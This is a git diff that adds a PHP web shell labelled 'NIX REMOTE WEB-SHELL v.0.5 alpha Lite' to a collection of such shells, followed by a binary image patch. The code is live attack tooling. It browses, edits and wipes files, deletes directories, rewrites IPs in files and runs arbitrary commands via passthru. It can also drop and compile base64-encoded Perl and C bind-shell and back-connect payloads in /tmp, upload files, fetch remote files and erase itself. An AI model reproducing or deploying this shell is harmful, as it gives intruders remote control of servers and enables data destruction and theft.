&& $ff != ".."){ +if(@is_dir("$d/$ff")){ +deldir("$d/$ff"); +}else{ +@unlink("$d/$ff"); +}}} +@closedir($handle); +if(@rmdir($d)){ +@$success = true;} +return @$success; +} +$dir=@$d; +deldir($d); + +$rback=$_GET['rback']; +@$rback=explode("/",$rback); +$crb=count($rback); +for($i=0; $i<$crb-1; $i++){ + @$x.=$rback[$i]."/"; +} +echo "<br><b>? !</b>"; +echo $copyr; +exit;} +if(@$_GET['replace']=="1"){ +$ip=@$_SERVER['REMOTE_ADDR']; +$d=$_GET['d']; +$e=$_GET['e']; +@$de=$d."/".$e; +$de=str_replace("//","/",$de); +$e=@$e; +echo $mymenu ; +echo " + :<br> +( ?? ??<br> +: $de<br> +<form method=post> +1. IP.<br> +2. microsoft.com IP :)<br> +? ?<input name=this size=30 value=$ip> <input name=bythis size=30 value=207.46.245.156> +<input type=submit name=doit value=> +</form> +"; + +if(@$_POST['doit']){ + +$filename="$d/$e"; +$fd = @fopen ($filename, "r"); +$rpl = @fread ($fd, @filesize ($filename)); +$re=str_replace("$this","$bythis",$rpl); +$x=@fopen("$d/$e","w"); +@fwrite($x,"$re"); +echo "<br><center>$this $bythis<br> +[<a href='$php_self?ac=navigation&d=$d&e=$e'> </a>]<br><br><Br>"; + +} +echo $copyr; +exit;} + + + + +if(@$_GET['yes']=="yes"){ +$d=@$_GET['d']; $e=@$_GET['e']; +unlink($d."/".$e); +$delresult=" $d/$e ! <meta http-equiv=\"REFRESH\" content=\"2;URL=$php_self?ac=navigation&d=$d\">"; +} +if(@$_GET['clean']=="1"){ +@$e=$_GET['e']; +$x=fopen("$d/$e","w"); +fwrite($x,""); +echo "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?ac=navigation&d=$d&e=".@$e."\">"; +exit; +} + + +if(@$_GET['e']){ +$d=@$_GET['d']; +$e=@$_GET['e']; +$pinf=pathinfo($e); +if(in_array(".".@$pinf['extension'],$images)){ +echo "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?ac=navigation&d=$d&e=$e&img=1\">"; +exit;} +$filename="$d/$e"; +$fd = @fopen ($filename, "r"); +$c = @fread ($fd, @filesize ($filename)); +$c=htmlspecialchars($c); +$de=$d."/".$e; +$de=str_replace("//","/",$de); +if(is_file($de)){ +if(!is_writable($de)){echo "<font color=red><br><b> </b></font><br>";}} +echo $mymenu ; +echo " + ?<br> +$de +<br> +<table width=100% border=1 cellpadding=0 cellspacing=0> +<tr><td><pre> +$c + +</pre></td></tr> +</table>"; +if(@$_GET['delete']=="1"){ +$delete=$_GET['delete']; +echo " +: ?<br> +<a href=\"$php_self?ac=navigation&d=$d&e=$e&delete=".@$delete."&yes=yes\"></a> || <a href='$php_self?no=1'>?/a> +<br> +"; +if(@$_GET['yes']=="yes"){ +@$d=$_GET['d']; @$e=$_GET['e']; +echo $delresult; +} +if(@$_GET['no']){ +echo "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?ac=navigation&d=$d&e=$e\"> +"; +} + + +} #end of delete +echo $copyr; +exit; +} #end of e + +if(@$_GET['edit']=="1"){ +@$d=$_GET['d']; +@$ef=$_GET['ef']; +if(is_file($d."/".$ef)){ +if(!is_writable($d."/".$ef)){echo "<font color=red><br><b> </b></font><br>";}} +echo $mymenu ; +$filename="$d/$ef"; +$fd = @fopen ($filename, "r"); +$c = @fread ($fd, @filesize ($filename)); +$c=htmlspecialchars($c); +$de=$d."/".$ef; +$de=str_replace("//","/",$de); +echo " +:<br> +$de<br> +<form method=post> +<input type=HIDDEN name=filename value='$d/$ef'> +<textarea cols=143 rows=30 name=editf>$c</textarea> +<br> +<input type=submit name=save value='?'></form><br> + +"; +if(@$_POST['save']){ +$editf=@$_POST['editf']; +$editf=stripslashes($editf); +$f=fopen($filename,"w+"); +fwrite($f,"$editf"); +echo "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?ac=navigation&d=$d&e=$ef\">"; +exit; +} + +exit; +} + + + +echo" +<table width=100% cellpadding=1 cellspacing=0 class=hack> +<a href='?ac=tar&d=$d' title=' ?? ??!'><b>[ ] </b></a> +<a href='?ac=tar&as=mail&d=$d' title=' + ?e-mail ! ? ?0.5?!'><b>[ + ?mail] </b></a> +<a href='?ac=navigation&d=$d&deldir=1' title=' !\n ? ? ?:)'><b>[ ] </b></a> +<tr><td bgcolor=#4d9ef0><center><b></b></td><td bgcolor=#4d9ef0><b></b></td><td bgcolor=#4d9ef0><b></b></td></tr> +"; +$dirs=array(); +$files=array(); +$dh = @opendir($d) or die("<table width=100%><tr><td><center>? ? ? !</center><br>$copyr</td></tr></table>"); +while (!(($file = readdir($dh)) === false)) { +if ($file=="." || $file=="..") continue; +if (@is_dir("$d/$file")) { + $dirs[]=$file; +}else{ + $files[]=$file; + } + sort($dirs); + sort($files); + +$fz=@filesize("$d/$file"); +} + +function perm($perms){ +if (($perms & 0xC000) == 0xC000) { + $info = 's'; +} elseif (($perms & 0xA000) == 0xA000) { + $info = 'l'; +} elseif (($perms & 0x8000) == 0x8000) { + $info = '-'; +} elseif (($perms & 0x6000) == 0x6000) { + $info = 'b'; +} elseif (($perms & 0x4000) == 0x4000) { + $info = 'd'; +} elseif (($perms & 0x2000) == 0x2000) { + $info = 'c'; +} elseif (($perms & 0x1000) == 0x1000) { + $info = 'p'; +} else { + $info = 'u'; +} +$info .= (($perms & 0x0100) ? 'r' : '-'); +$info .= (($perms & 0x0080) ? 'w' : '-'); +$info .= (($perms & 0x0040) ? + (($perms & 0x0800) ? 's' : 'x' ) : + (($perms & 0x0800) ? 'S' : '-')); +$info .= (($perms & 0x0020) ? 'r' : '-'); +$info .= (($perms & 0x0010) ? 'w' : '-'); +$info .= (($perms & 0x0008) ? + (($perms & 0x0400) ? 's' : 'x' ) : + (($perms & 0x0400) ? 'S' : '-')); +$info .= (($perms & 0x0004) ? 'r' : '-'); +$info .= (($perms & 0x0002) ? 'w' : '-'); +$info .= (($perms & 0x0001) ? + (($perms & 0x0200) ? 't' : 'x' ) : + (($perms & 0x0200) ? 'T' : '-')); +return $info; +} +for ($i=0;$i<sizeof($dirs);$i++) { + if ($dirs[$i] != "..") { + + +if(is_writable($dirs[$i])){$info="<font color=green><li>&nbsp;W</font>";} +else{$info="<font color=red><li>&nbsp;R</font>";} +$perms = @fileperms($d."/".$dirs[$i]); +$owner = @fileowner($d."/".$dirs[$i]); +if($os=="unix"){ +$fileownera=posix_getpwuid($owner); +$owner=$fileownera['name']; +} +$group = @filegroup($d."/".$dirs[$i]); +if($os=="unix"){ +$groupinfo = posix_getgrgid($group); +$group=$groupinfo['name']; +} +$info=perm($perms); +if($i%2){$color="#aed7ff";}else{$color="#68adf2";} +$linkd="<a href='$php_self?ac=navigation&d=$d/$dirs[$i]'>$dirs[$i]</a>"; +$linkd=str_replace("//","/",$linkd); +echo "<tr><td bgcolor=$color><font face=wingdings size=2>0</font> $linkd</td><td bgcolor=$color>&nbsp;</td><td bgcolor=$color>$info</td></tr>"; +} +} +for ($i=0;$i<sizeof($files);$i++) { +if(is_writable($files[$i])){$info="<font color=green><li>&nbsp;W</font>";} +else{$info="<font color=red><li>&nbsp;R</font>";} +$size=@filesize($d."/".$files[$i]); +$perms = @fileperms($d."/".$files[$i]); +$owner = @fileowner($d."/".$files[$i]); +if($os=="unix"){ +$fileownera=posix_getpwuid($owner); +$owner=$fileownera['name']; +} +$group = @filegroup($d."/".$files[$i]); +if($os=="unix"){ +$groupinfo = posix_getgrgid($group); +$group=$groupinfo['name']; +} +$prava=perm($perms); +if($i%2){$color="#ccccff";}else{$color="#b0b0ff";} + +if ($size < 1024){$siz=$size.' b'; +}else{ +if ($size < 1024*1024){$siz=number_format(($size/1024), 2, '.', '').' kb';}else{ +if ($size < 1000000000){$siz=number_format($size/(1024*1024), 2, '.', '').' mb';}else{ +if ($size < 1000000000000){$siz=number_format($size/(1024*1024*1024), 2, '.', '').' gb';} +}}} +echo "<tr><td bgcolor=$color><font face=wingdings size=3>2</font> <a href='$php_self?ac=navigation&d=$d&e=$files[$i]'title=' $prava. $owner/$group'>$files[$i]</a></td><td bgcolor=$color>$siz</td><td bgcolor=$color>$prava</td></tr>"; +} + +echo "</table></td></tr></table>"; +break; +// ??case "backconnect": +echo "<b>??/ ?/b>"; +echo "<form name=bind method=POST>"; +echo "<font face=Verdana size=-2>"; +echo "<b>? </b>"; +echo "<input type=text name=port size=15 value=11457>&nbsp;"; +echo "<b> ?</b>"; +echo "<input type=text name=bind_pass size=15 value=nrws>&nbsp;"; +echo "<b> </b>"; +echo "<select size=\"1\" name=\"use\">"; +echo "<option value=\"Perl\">Perl</option>"; +echo "<option value=\"C\">C</option>"; +echo "</select>&nbsp;"; +echo "<input type=hidden name=dir value=".$dir.">"; +echo "<input type=submit name=submit value=?"; +echo "</font>"; +echo "</form>"; + +echo "<b>??/ </b>"; +echo "<form name=back method=POST>"; +echo "<font face=Verdana size=-2>"; +echo "<b>IP-?</b>"; +echo "<input type=text name=ip size=15 value=127.0.0.1>&nbsp;"; +echo "<b> </b>"; +echo "<input type=text name=port size=15 value=31337>&nbsp;"; +echo "<b> </b>"; +echo "<select size=\"1\" name=\"use\">"; +echo "<option value=\"Perl\">Perl</option>"; +echo "<option value=\"C\">C</option>"; +echo "</select>&nbsp;"; +echo "<input type=hidden name=dir value=".$dir.">"; +echo "<input type=submit name=submit value=?"; +echo "</font>"; +echo "</form>"; + + +/* port bind C */ +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) +{ + $w_file=fopen("/tmp/bd.c","ab+") or $err=1; + if($err==1) + { + echo "<font color=red face=Fixedsys><div align=center>Error! Can't write in /tmp/bd.c</div></font>"; + $err=0; + } + else + { + fputs($w_file,base64_decode($port_bind_bd_c)); + fclose($w_file); + $blah=exec("gcc -o /tmp/bd /tmp/bd.c"); + unlink("/tmp/bd.c"); + $bind_string="/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &"; + $blah=exec($bind_string); + $_POST['cmd']="ps -aux | grep bd"; + $err=0; + } +} + +/* port bind Perl */ +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) +{ + $w_file=fopen("/tmp/bdpl","ab+") or $err=1; + if($err==1) + { + echo "<font color=red face=Fixedsys><div align=center>! ?/tmp/</div></font>"; + $err=0; + } + else + { + fputs($w_file,base64_decode($port_bind_bd_pl)); + fclose($w_file); + $bind_string="perl /tmp/bdpl ".$_POST['port']." &"; + $blah=exec($bind_string); + $_POST['cmd']="ps -aux | grep bdpl"; + $err=0; + } +} + +/* back connect Perl */ +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) +{ + $w_file=fopen("/tmp/back","ab+") or $err=1; + if($err==1) + { + echo "<font color=red face=Fixedsys><div align=center>! ?/tmp/</div></font>"; + $err=0; + } + else + { + fputs($w_file,base64_decode($back_connect)); + fclose($w_file); + $bc_string="perl /tmp/back ".$_POST['ip']." ".$_POST['port']." &"; + $blah=exec($bc_string); + $_POST['cmd']="echo \" ?".$_POST['ip']." port ".$_POST['port']." ...\""; + $err=0; + } +} + +/* back connect C */ +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) +{ + $w_file=fopen("/tmp/back.c","ab+") or $err=1; + if($err==1) + { + echo "<font color=red face=Fixedsys><div align=center>Error! Can't write in /tmp/back.c</div></font>"; + $err=0; + } + else + { + fputs($w_file,base64_decode($back_connect_c)); + fclose($w_file); + $blah=exec("gcc -o /tmp/backc /tmp/back.c"); + unlink("/tmp/back.c"); + $bc_string="/tmp/backc ".$_POST['ip']." ".$_POST['port']." &"; + $blah=exec($bc_string); + $_POST['cmd']="echo \" ?".$_POST['ip']." port ".$_POST['port']." ...\""; + $err=0; + } +} +echo "<font face=Verdana size=-2> ? <b>".$_POST['cmd']."</b></font></td></tr><tr><td>"; +echo "<b>"; +echo "<br>? "; +echo "<font color=red size=2"; +print "".passthru($_POST['cmd']).""; +echo "</font></b>"; +break; + +// Uploading +case "upload": + +echo <<<HTML +<b> </b> +<a href='$php_self?ac=massupload&d=$d&t=massupload'>* ?? *</a><br><br> +<table> +<form enctype="multipart/form-data" action="$self" method="POST"> +<input type="hidden" name="ac" value="upload"> +<tr> +<td>:</td> +<td><input size="48" name="file" type="file"></td> +</tr> +<tr> +<td>?</td> +<td><input size="48" value="$docr/" name="path" type="text"><input type="submit" value="?></td><br> +$tend +HTML; + +if (isset($_POST['path'])){ + +$uploadfile = $_POST['path'].$_FILES['file']['name']; +if ($_POST['path']==""){$uploadfile = $_FILES['file']['name'];} + +if (copy($_FILES['file']['tmp_name'], $uploadfile)) { + echo " ? ??$uploadfile\n"; + echo ":" .$_FILES['file']['name']. "\n"; + echo ":" .$_FILES['file']['size']. "\n"; + +} else { + print " ?. :\n"; + print_r($_FILES); +} +} + + +echo "<form enctype='multipart/form-data' action='?ac=upload&status=ok' method=post> +<b> ? :</b><br> + HTTP ?? <br> +<input type='text' name='file3' value='http://' size=40><br> + ?? ??? <br> +<input type='text' name='file2' value='$docr/' size=40><br> +<input type='submit' value='?'></form>"; + + +if (!isset($status)) downfiles(); + +else +{ + +$data = @implode("", file($file3)); +$fp = @fopen($file2, "wb"); +@fputs($fp, $data); +$ok = @fclose($fp); +if($ok) +{ +$size = filesize($file2)/1024; +$sizef = sprintf("%.2f", $size); + +print "<br><center> ? <b> <u>$file2</u> </b> (".$sizef.") </center>"; +} +else +{ +print "<br><center><font color=red size = 2><b> ?/b></font></center>"; +} +} + + + +break; +// Tools +case "tools": +echo "<form method=post> md5 ?br><input name=md5 size=30></form><br>"; +@$md5=@$_POST['md5']; +if(@$_POST['md5']){ echo "md5 :<br> ".md5($md5)."";} +echo "<br> +<form method=post>??base64<br><input name=base64 size=30></form><br>"; +if(@$_POST['base64']){ +@$base64=$_POST['base64']; +echo " +:<br><textarea rows=8 cols=80>".base64_encode($base64)."</textarea><br> +: <br><textarea rows=8 cols=80>".base64_decode($base64)."</textarea><br>";} +echo "<br> +<form method=post>DES ?<br><input name=des size=30></form><br>"; +if(@$_POST['des']){ +@$des=@$_POST['des']; +echo "Des : <br>".crypt($des)."";} +echo "<br> +<form method=post>SHA1 ?<br><input name=sha1 size=30></form><br>"; +if(@$_POST['sha1']){ +@$des=@$_POST['sha1']; +echo "SHA1 : <br>".sha1($sha1a)."";} + +echo "<form method=POST>"; +echo "html-?-> ??<br><input type=text name=data size=30>"; + + +if (isset($_POST['data'])) +{ +echo "<br><br><b>?<br></b>"; +$str=str_replace("%20","",$_POST['data']); +for($i=0;$i<strlen($str);$i++) +{ +$hex=dechex(ord($str[$i])); +if ($str[$i]=='&') echo "$str[$i]"; +else if ($str[$i]!='\\') echo "%$hex"; +} +} +exit; +break; +// Mass Uploading +case "massupload": + + +echo " + :<br> +<form enctype=\"multipart/form-data\" method=post> +<input type=file name=text1 size=43> <input type=file name=text11 size=43><br> +<input type=file name=text2 size=43> <input type=file name=text12 size=43><br> +<input type=file name=text3 size=43> <input type=file name=text13 size=43><br> +<input type=file name=text4 size=43> <input type=file name=text14 size=43><br> +<input type=file name=text5 size=43> <input type=file name=text15 size=43><br> +<input type=file name=text6 size=43> <input type=file name=text16 size=43><br> +<input type=file name=text7 size=43> <input type=file name=text17 size=43><br> +<input type=file name=text8 size=43> <input type=file name=text18 size=43><br> +<input type=file name=text9 size=43> <input type=file name=text19 size=43><br> +<input type=file name=text10 size=43> <input type=file name=text20 size=43><br> +<input name=where size=43 value='$docr'><br> +<input type=submit value=?name=massupload> +</form><br>"; + +if(@$_POST['massupload']){ +$where=@$_POST['where']; +$uploadfile1 = "$where/".@$_FILES['text1']['name']; +$uploadfile2 = "$where/".@$_FILES['text2']['name']; +$uploadfile3 = "$where/".@$_FILES['text3']['name']; +$uploadfile4 = "$where/".@$_FILES['text4']['name']; +$uploadfile5 = "$where/".@$_FILES['text5']['name']; +$uploadfile6 = "$where/".@$_FILES['text6']['name']; +$uploadfile7 = "$where/".@$_FILES['text7']['name']; +$uploadfile8 = "$where/".@$_FILES['text8']['name']; +$uploadfile9 = "$where/".@$_FILES['text9']['name']; +$uploadfile10 = "$where/".@$_FILES['text10']['name']; +$uploadfile11 = "$where/".@$_FILES['text11']['name']; +$uploadfile12 = "$where/".@$_FILES['text12']['name']; +$uploadfile13 = "$where/".@$_FILES['text13']['name']; +$uploadfile14 = "$where/".@$_FILES['text14']['name']; +$uploadfile15 = "$where/".@$_FILES['text15']['name']; +$uploadfile16 = "$where/".@$_FILES['text16']['name']; +$uploadfile17 = "$where/".@$_FILES['text17']['name']; +$uploadfile18 = "$where/".@$_FILES['text18']['name']; +$uploadfile19 = "$where/".@$_FILES['text19']['name']; +$uploadfile20 = "$where/".@$_FILES['text20']['name']; +if (@move_uploaded_file(@$_FILES['text1']['tmp_name'], $uploadfile1)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>? $uploadfile1</i><br>";} +if (@move_uploaded_file(@$_FILES['text2']['tmp_name'], $uploadfile2)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>? $uploadfile2</i><br>";} +if (@move_uploaded_file(@$_FILES['text3']['tmp_name'], $uploadfile3)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>? $uploadfile3</i><br>";} +if (@move_uploaded_file(@$_FILES['text4']['tmp_name'], $uploadfile4)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>? $uploadfile4</i><br>";} +if (@move_uploaded_file(@$_FILES['text5']['tmp_name'], $uploadfile5)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>? $uploadfile5</i><br>";} +if (@move_uploaded_file(@$_FILES['text6']['tmp_name'], $uploadfile6)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>? $uploadfile6</i><br>";} +if (@move_uploaded_file(@$_FILES['text7']['tmp_name'], $uploadfile7)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>? $uploadfile7</i><br>";} +if (@move_uploaded_file(@$_FILES['text8']['tmp_name'], $uploadfile8)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>? $uploadfile8</i><br>";} +if (@move_uploaded_file(@$_FILES['text9']['tmp_name'], $uploadfile9)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>? $uploadfile9</i><br>";} +if (@move_uploaded_file(@$_FILES['text10']['tmp_name'], $uploadfile10)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>? $uploadfile10</i><br>";} +if (@move_uploaded_file(@$_FILES['text11']['tmp_name'], $uploadfile11)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>? $uploadfile11</i><br>";} +if (@move_uploaded_file(@$_FILES['text12']['tmp_name'], $uploadfile12)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>? $uploadfile12</i><br>";} +if (@move_uploaded_file(@$_FILES['text13']['tmp_name'], $uploadfile13)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>? $uploadfile13</i><br>";} +if (@move_uploaded_file(@$_FILES['text14']['tmp_name'], $uploadfile14)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>? $uploadfile14</i><br>";} +if (@move_uploaded_file(@$_FILES['text15']['tmp_name'], $uploadfile15)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>? $uploadfile15</i><br>";} +if (@move_uploaded_file(@$_FILES['text16']['tmp_name'], $uploadfile16)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>? $uploadfile16</i><br>";} +if (@move_uploaded_file(@$_FILES['text17']['tmp_name'], $uploadfile17)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>? $uploadfile17</i><br>";} +if (@move_uploaded_file(@$_FILES['text18']['tmp_name'], $uploadfile18)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>? $uploadfile18</i><br>";} +if (@move_uploaded_file(@$_FILES['text19']['tmp_name'], $uploadfile19)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>? $uploadfile19</i><br>";} +if (@move_uploaded_file(@$_FILES['text20']['tmp_name'], $uploadfile20)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>? $uploadfile20</i><br>";} +} + +exit; +break; +case "selfremover": + print "<tr><td>"; +print "<font color=red face=verdana size=1> , ??? ???<br> +<a href='$php_self?p=yes'>, </a> | <a href='$php_self?'>? ???/a><br> +?: <u>"; +$path=__FILE__; +print $path; +print " </u>?</td></tr></table>"; +die; +} + +if($p=="yes"){ +$path=__FILE__; +@unlink($path); +$path=str_replace("\\","/",$path); +if(file_exists($path)){$hmm=" ?!!"; +print "<tr><td><font color=red> $path !</td></tr>"; +}else{$hmm="";} +print "<script>alert('$path $hmm');</script>"; + +} +break; + + +?> + + + diff --git a/php/PHPshell/NIX REMOTE WEB-SHELL v.0.5 alpha Lite Public Version/NIX REMOTE WEB-SHELL2.jpg b/php/PHPshell/NIX REMOTE WEB-SHELL v.0.5 alpha Lite Public Version/NIX REMOTE WEB-SHELL2.jpg new file mode 100644 index 0000000000000000000000000000000000000000..18657e7def78ce1c0cc013aba8e5a2165c7509f2 GIT binary patch literal 151395 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 